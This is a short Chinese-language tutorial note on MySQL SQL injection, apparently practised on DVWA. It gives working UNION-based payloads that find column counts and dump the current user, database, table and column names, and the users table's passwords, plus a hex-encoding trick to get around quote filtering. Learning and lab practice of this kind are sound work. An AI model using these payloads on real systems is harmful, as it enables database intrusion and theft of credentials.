一、字符型注入的思想是闭合引号:
select 1,2 from tables where id=‘ID’
ID: ’ or 1=1’ 、 ’ or 1=1# 、’ or 1=1–
步骤:
1、先判断当前表的字段数
’ order by 1(2,3,4,5…) #,直到出现错误,说明只有几个字段
2、知道了字段数之后,测试哪几个字段可以回显,比如有3个字段,那么
’ union select 1,2,3 #
比如1和3能显示,说明第一列和第三列的字段可以回显
3、利用数据库的函数显示需要的信息
1. ' union select user(),2,database()# 回显当前用户信息和数据库信息
2. ' union select table_name,2,3 from information_schema.tables where table_schema='数据库名' #回显当前数据库中的所有表名
3. ' union select column_name,2,3 from information_schema.columns where table_name=表名' # 回显当前表中的字段名
4. ‘ union select user,password from users # 回显账号、密码
二、数字型注入直接order by操作
select 1,2 from tables where id=ID order by 3
执行优先级:
1、from
2、where
3、select
4、order by (虽然没有select 3,但是依然可以按照3来排序)
1 union select table_name,2 from information_schema.tables where table_schema=database(); 这里是函数database(),DVWA中级别会屏蔽 ’ ,最好直接用函数 也可以用十六进制,比如user的十六进制为0x7573657273